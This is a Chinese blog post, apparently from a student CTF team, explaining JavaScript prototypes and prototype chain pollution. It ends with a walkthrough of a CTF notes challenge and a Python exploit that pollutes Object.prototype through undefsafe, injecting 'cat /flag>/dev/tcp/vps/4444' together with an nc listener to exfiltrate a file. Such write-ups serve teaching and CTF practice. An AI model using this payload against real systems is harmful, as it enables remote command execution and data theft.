JS原型链污染

admin 2022年4月30日12:59:53评论45 views字数 4021阅读13分24秒阅读模式

师傅们关注一波,谢谢

HashRun安全团队是由本地学生自发组织的团队,团队方向:CTF,渗透测试,安全研究,二进制,算法,漏洞挖掘

B站:https://space.bilibili.com/1164102675

团队今年6月低正式运营


javascript基础

文章参考《javascript权威指南》

javascript是一个面向对象的语言到但是并没有class和对象的区分,class只是javascript中的一个关键字。

每个JS对象一定对应一个原型对象,并从原型对象继承属性和方法,在javascript要实现继承的关系全靠一个叫"原型链"的模式来实现的。

先来看下js如何创建对象

在js中new后面并不是跟的类,而是构造函数

例如有一个person的构造函数,表示人的原型。

function person(name,age){  this.name = name;  this.age = age;}


对于这个构造函数我们使用new就可以生成一个人的对象实例。

var person1= new person('p1',1);console.log('name:'+person1.name + '  age:'+ person1.age);  //name:p1 age:1

使用new运算符的缺点

使用构造函数生成实例对象,有一个缺点,就是无法共享属性和方法。

例如在person对象中的构造函数设置一个共享的属性species

function person(name){  this.name = name;  this.species = '人类';}

然后生成两个实例对象

var person1 = new person('p1',1);var person2 = new person('p2',2);

在这两个实例对象中species属性是互相独立的,修改其中的一个并不会影响到另一个。

person1.species = '动物';consolep.log(person2.species);   //人类

这样看并没有做到数据共享,对资源也是一种浪费。

引入prototype

为了解决这个问题,就给构造函数设置了prototype属性。

这个属性包含了一个对象,所有实例对象需要共享的属性和方法都存放在这个对象里面,而不需要共享的则放在构造函数里面。

例如

function person(name,age){  this.name = name;  this.age = age;}person.prototype = { species : '人类' };

var person1= new person('p1',1);var person2= new person('p2',2);

console.log(person1.species); // 人类console.log(person2.species); // 人类

通过这个例子看到species属性是放在prototype中的,所以它是一个共享属性,同时会影响到person所有的实例对象。

person.prototype.species = '动物';

console.log(person1.species); // 动物console.log(person2.species); // 动物

我们发现属性是共享的,对于实例对象来说好像是继承了prototype对象一样。

接着往下看。

引入__proto__

添加一个共享方法

function person(name,age){  this.name = name;  this.age = age;}person.prototype.log = function(){console.log('name:'+person1.name+',age:'+ person1.age);}

var person1= new person('p1',1);var person2= new person('p2',2);

person1.log(); //p1,1person2.log();   //p2,2

我们发现都调用共享方法log方法,如果我们此时修改log方法会发现所有实例对象都会一并影响到。

上面这些例子都是对象存在prototype属性可以使用的,那么这其中的原理是什么呢?

例如:

var person1 = new person('p1',1);

我们去调用person1.log()时,person1这个对象并没有log()这个方法,但是他又是怎么样找到log()这个方法的呢?

按照javascript的运行机制来说,person1属于person的一个实例对象,所以如果person1找不到log,那么就回去person.prototype这里来找,那么又是怎么样让person1和person.prototype连接到一起呢?

所以javascript引入了__proto__


例如

function person(name,age){  this.name = name;  this.age = age;}person.prototype.log = function(){console.log('name:'+person1.name+',age:'+ person1.age);}

var person1= new person('p1',1);console.log(person1.__proto__==person.prototype); //结果为true

person1的__proto__会指到person.prototype,所以在person1在没有找到log时就会通过__proto__往person.prototype中寻找。

那么如果person.prototype中也没有log方法时怎么办呢?同样也是通过person.prototype.__proto__寻找,以此类推,不断的通过__proto__网上寻找,直到某一次__proto__指到null为止。

这样串起来的一条链,就叫做原型链,**通过这样的逻辑方法可以实现类似继承的功能。

JS原型链污染

为了更好的理解演示下面的代码

function person(name,age){  this.name = name;  this.age = age;}person.prototype.log = function(){console.log('name:'+person1.name+',age:'+ person1.age);}

var person1= new person('p1',1);console.log(person1.__proto__==person.prototype); //结果为trueconsole.log(person.prototype.__proto__==Object.prototype); //trueconsole.log(Object.prototype.__proto__); //null

原型链污染

我们在上面实验很多例子,都会发现person.__proto__指向的是person的prototype。那么同样的我们修改perosn.proto__中的值,也就能够修改person类。

var p={age:3};       //定义一个简单的对象pconsole.log(p.age);  //3p.__proto__.age=11;  //修改p的原型Objectconsole.log(p,age);  //由于原型链查找的顺序还是为3p1={};            //用Object创建一个空的p1对象console.log(p1.age);  //11

JS原型链污染

因为我们前面修改了p.__proto__.age=11 而p是一个Object类的实例,所以就其实是修改了Object这个类。

然后我们又使用Object创建了一个p1的空对象,那么p1也就有了age这个属性。

我这里只演示对象被污染的情况,同样的function,string,数组都会被污染

所以当攻击者修改一个对象的原型后,那么可以影响和这个对象来自同一个类 父类的对象,这个攻击方式就叫做原型链污染。

题目演示

[网鼎杯 2020 青龙组]notes1:


漏洞点存在/status路由,exec导致了任意代码执行,所以我们只要能够污染到commands字典添加一个命令执行得命令即可。

JS原型链污染

再看下传参路由

JS原型链污染

可以传送三个参数id   author   enote

undefsafe函数在2.03版本下会产生漏洞

参考:https://github.com/remy/undefsafe

JS原型链污染

传入后会将参数写入note_list,edit_note函数通过 undefsafe 直接将 id.author 与 id.raw_note 解压到 this.note_list

又因为note_list得基本类型是{}也就是Object

当 note_list 的 __proto__ 不存在时,

会递归到 note_list 所继承的 Object 属性上去寻找 __proto__,

那么此时, 假如传进来的 id 是 __proto__, 将会导致 this.note_list 的基本类型, 也就是 Object 的属性 __proto__ 被污染, 在 Object 的 __proto__ 属性上新增了 author 与 raw_note 属性.

而我们在上面演示过去污染一个Object,所以这个题目也一样得步骤方法

现在整条利用链都分析清楚了

payload:

import jsonimport requests

s = requests.session()data={'raw':'a','id':'__proto__','author':'cat /flag>/dev/tcp/vps/4444'}url='http://地址/'r=s.post(url+'edit_note',json=data)print(r.text)r=s.get(url+"status")print(r.text)


vps:nc -lvvp 4444

JS原型链污染

团队官方群:

JS原型链污染


原文始发于微信公众号(是恒恒呐):JS原型链污染

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月30日12:59:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JS原型链污染https://cn-sec.com/archives/965253.html

发表评论

匿名网友 填写信息